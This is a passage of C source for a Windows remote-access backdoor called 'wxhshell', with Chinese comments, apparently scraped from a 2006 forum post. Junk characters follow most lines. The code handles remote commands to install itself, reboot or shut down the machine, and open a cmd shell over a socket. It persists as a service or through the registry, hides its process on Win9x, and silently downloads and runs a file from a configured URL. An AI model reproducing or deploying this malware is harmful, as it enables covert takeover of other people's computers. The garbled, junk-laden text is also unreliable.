  else { m@UrFPZ  
^#XQ2UN  
    switch(cmd[0]) { pfs]pDjS:  
  m Ga:~x  
  // 帮助 ExM VGe  
  case '?': { &;sW4jnt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~6K.5t7  
    break; R9(Yi<CC  
  } Dr76+9'i  
  // 安装 JLt%G^W >  
  case 'i': { E3] 8(P%D-  
    if(Install()) :5F(,Z_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l"7#(a  
    else U~d%5?q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !zsrORF{  
    break; NTEN  
    } <xe_t=N  
  // 卸载 a;v4R[lQ  
  case 'r': { w IP4Z^  
    if(Uninstall()) \._|_+HiW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! ,0  
    else nEPTTp+B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ! >V)x  
    break; &E1m{gB(  
    } Y;'SD{On  
  // 显示 wxhshell 所在路径 xI.0m  
  case 'p': { ~4|Trz2T  
    char svExeFile[MAX_PATH]; 'c_K[p$  
    strcpy(svExeFile,"\n\r"); l|{[vZpT  
      strcat(svExeFile,ExeFile); nW} s  
        send(wsh,svExeFile,strlen(svExeFile),0); xQ2: tY#?  
    break; )\j dF-s  
    } kv6nVlI)B  
  // 重启 0m=57c$O  
  case 'b': { Ndmw/ae  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X# /c7w-  
    if(Boot(REBOOT)) hsT&c|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O;5lF  
    else { HOF=qE*p  
    closesocket(wsh); 3m9b  
    ExitThread(0); :5.F  
    } G%, RD}D  
    break; B^]PKjLNZ  
    } 1D3 8T  
  // 关机 QxN1N^a0  
  case 'd': { s2GF*{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'n ^,lXWB  
    if(Boot(SHUTDOWN)) h5pfmN\-5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Pllxq<n  
    else { .Zj`_5C  
    closesocket(wsh); D,R',(3  
    ExitThread(0); kY!zBk  
    } Aq*?Q/pV  
    break; N_S~&(I|  
    } tXH;4K@  
  // 获取shell 7Xu#|k  
  case 's': { "bDj 00nwh  
    CmdShell(wsh); $B_%MfI  
    closesocket(wsh); dS3\P5D.*c  
    ExitThread(0); $A-X3d;'\/  
    break; |/^S%t6*  
  } )5LT!14  
  // 退出 xO Aq!,|V  
  case 'x': { 80_w_i+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); * 4Ldh}S!  
    CloseIt(wsh); 16Jq*hKU  
    break; 5lJL[{  
    } ^/#G,MxNy  
  // 离开 -{k8^o7$  
  case 'q': { 83SK<V6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IsE3-X|  
    closesocket(wsh); kY'Wf`y(  
    WSACleanup(); *d;TpwUI  
    exit(1); vdAd@Z~\  
    break; Z\EA!Cs3  
        } 8cG`We8l&  
  } q(:L8nKT]  
  } +(92}~RK  
A8{ xZsH  
  // 提示信息 LUId<We  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [}ja \!P  
} WV.hQX9P  
  } DAP/  
.ex;4( -!  
  return; ^@O 7d1&y  
} #` gu<xlW  
Xi) ;dcNJ  
// shell模块句柄 rMi\#[o B  
int CmdShell(SOCKET sock) HXSryjF?  
{ "q+Z*   
STARTUPINFO si; g.@[mf0r  
ZeroMemory(&si,sizeof(si)); sdg2^]|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #gO[di0WhC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c/A?-9  
PROCESS_INFORMATION ProcessInfo; +cqUp6x.  
char cmdline[]="cmd"; q,@# cQBV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h!%y,4IBR  
  return 0; m2jts(stp  
} 2O Ur">_  
R|M]mwa^w  
// 自身启动模式 n}IGxum8`  
int StartFromService(void) *c[w9(fU  
{ R$hIgw+p[  
typedef struct (w)%2vZ^  
{ y zp#  
  DWORD ExitStatus; r8:"\%"f>  
  DWORD PebBaseAddress; #f24a?n|  
  DWORD AffinityMask; ~Jr'4%   
  DWORD BasePriority; X"+p=PGZK  
  ULONG UniqueProcessId; #jg-q|nd  
  ULONG InheritedFromUniqueProcessId; bUm%#a  
}   PROCESS_BASIC_INFORMATION; jaodcT0  
_Ffg"xoC  
PROCNTQSIP NtQueryInformationProcess; " WQ6[;&V  
[B;okW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t-KicLr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _$c o Y  
r^}0 qO,XM  
  HANDLE             hProcess; 3kC|y[.&  
  PROCESS_BASIC_INFORMATION pbi; x4c|/}\)*  
xm1di@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pXO09L/nv  
  if(NULL == hInst ) return 0; /X.zt `  
$M,<=.oT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4tLdqs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); go AV+V7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4~h 0/H"  
6384$mT,S  
  if (!NtQueryInformationProcess) return 0; F+(S-Qk1  
.ZF%$H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \{:A&X~\!  
  if(!hProcess) return 0; jDb\4QyC  
LxhS 9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (KyOo,a  
re[5lFQ~Z  
  CloseHandle(hProcess); NL$z4m0  
}k-8PG =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^rO"U[To  
if(hProcess==NULL) return 0; E#:!&{O  
=EFh*sp  
HMODULE hMod; /Tm+&Jd  
char procName[255]; 2A~o)7JaZ  
unsigned long cbNeeded; \]f+{d- &  
6_KvS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {:!>Y1w>  
gR# k'   
  CloseHandle(hProcess); l1k&@1"  
tUx H 6IS  
if(strstr(procName,"services")) return 1; // 以服务启动 \XV8t|*  
/Q(boY{  
  return 0; // 注册表启动 V sl,u  
} z6@8IszU  
dV38-IfGkl  
// 主模块 "[?DS  
int StartWxhshell(LPSTR lpCmdLine) iZy>V$Aq  
{ dB6 ,pY(  
  SOCKET wsl; $rcv@-l  
BOOL val=TRUE; ;K\2/"$QD  
  int port=0; }WIkNG4{Z  
  struct sockaddr_in door; yPtE5"(o  
K*T^w3=  
  if(wscfg.ws_autoins) Install(); tW|0_m>{  
i,<'AL )  
port=atoi(lpCmdLine); Itr 4 Pr  
#%nV\ Bl  
if(port<=0) port=wscfg.ws_port; 9n\>Yieu  
2sIt~ Gn  
  WSADATA data; PY7H0\S)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \f^xlX3&`  
{guOAT- w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &mVClq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e`g+Jf`AT  
  door.sin_family = AF_INET; y@~ VE5N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MZQDFuvDxZ  
  door.sin_port = htons(port); W.[!Q`  
W..*!UGl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <A Hzs  
closesocket(wsl); R;Dj70g  
return 1; ;LP3  
} Wjl2S+Cc  
,M{G X  
  if(listen(wsl,2) == INVALID_SOCKET) { g@!U^mr*3  
closesocket(wsl); <`pNdy4  
return 1; G$TO'Ciu:  
} )1#/@cU  
  Wxhshell(wsl); Xrb7.Y0d  
  WSACleanup(); ]?1_.Wjtt  
^PNDxtd|v  
return 0; k5aB|xo  
]>(pj9)  
} J";N^OR{A%  
oMg-.!6  
// 以NT服务方式启动 Gl'G;F$Y-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W/BPf{U  
{ ;]grbqXVE  
DWORD   status = 0; /.7RWy`  
  DWORD   specificError = 0xfffffff; Pp!4Ak4TT9  
ZtO$kK%q;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4xg)e` *U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e7"T37  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X$6NJ(2G  
  serviceStatus.dwWin32ExitCode     = 0; 2T+-[}*  
  serviceStatus.dwServiceSpecificExitCode = 0; e,}h^^"  
  serviceStatus.dwCheckPoint       = 0; i \NV<I  
  serviceStatus.dwWaitHint       = 0; 1xS+r)_n@  
=AzPAN#e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;: _K,FU  
  if (hServiceStatusHandle==0) return; =U*D.p*%f  
i#b/.oa  
status = GetLastError(); >Vt2@Ee  
  if (status!=NO_ERROR) rz_W]/G-P  
{ *t| !xO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I?g}q,!]  
    serviceStatus.dwCheckPoint       = 0; IXtG 36O  
    serviceStatus.dwWaitHint       = 0; 8Y`g$2SZ^8  
    serviceStatus.dwWin32ExitCode     = status; .kU^)H" l  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~|S0E:*.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (CIcM3|9C  
    return; Wrb[\ ?-  
  } K0( S%v|,}  
_-({MX[3k<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kQbZ!yl>[  
  serviceStatus.dwCheckPoint       = 0; }ZVond$y4  
  serviceStatus.dwWaitHint       = 0; Ed u(dZbKg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); { DP9^hg  
} WlQCPC  
nC,QvV  
// 处理NT服务事件,比如:启动、停止 Hj r'C?[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =QVkY7  
{ ^,I2 @OS  
switch(fdwControl) 'k\j[fk/K  
{ FhY#3-jH  
case SERVICE_CONTROL_STOP: R&(OWF;~,  
  serviceStatus.dwWin32ExitCode = 0; WcqR; Nm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $Ah p4oiE  
  serviceStatus.dwCheckPoint   = 0; \54B  
  serviceStatus.dwWaitHint     = 0; &Iy5@8  
  { 9pnOAM}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s9sl*1n1m`  
  } FtyT:=Kpc  
  return; |#o' =whTl  
case SERVICE_CONTROL_PAUSE: N2s"$Ttq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;=0mL,  
  break; W;I{4ed6  
case SERVICE_CONTROL_CONTINUE: gNP1UH4m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z(|$[GZP[  
  break; nm#23@uZ4K  
case SERVICE_CONTROL_INTERROGATE: WRu(F54Sk  
  break; bgBvzV&'8  
}; 0,RYO :`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5@>hjXi"Y  
} ?[ )}N _o#  
8d5#vm  
// 标准应用程序主函数 hOk9y=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,e'm@d$Q*  
{ z[J=WI  
rd0Fd+t/  
// 获取操作系统版本 vVo'f|fW  
OsIsNt=GetOsVer(); 3?V'O6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^AU-hVj  
trrNu  
  // 从命令行安装 b>p_w%d[[J  
  if(strpbrk(lpCmdLine,"iI")) Install(); -y!Dg6 A  
:'Gn?dv|  
  // 下载执行文件 <jJ'T?,  
if(wscfg.ws_downexe) { 05ClPT\BCr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3@x[M?$  
  WinExec(wscfg.ws_filenam,SW_HIDE); #3 E"Ame  
} (Z$7;OAI  
:'wxm3f  
if(!OsIsNt) { H6`k%O*  
// 如果时win9x,隐藏进程并且设置为注册表启动 TfZM0Wz  
HideProc(); K Ha,6X  
StartWxhshell(lpCmdLine); @>46.V{P}B  
} 6w &<j&V  
else Hb*Z_s  
  if(StartFromService()) +3. 9)w  
  // 以服务方式启动 MV$E_@pg  
  StartServiceCtrlDispatcher(DispatchTable); :a)RMp+^0  
else W'@G5e  
  // 普通方式启动 @uyQH c,V  
  StartWxhshell(lpCmdLine); &q|vvF<G  
W[J2>`k9  
return 0; Vn5%%?]J  
}
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只看该作者 1 发表于: 2006-10-10
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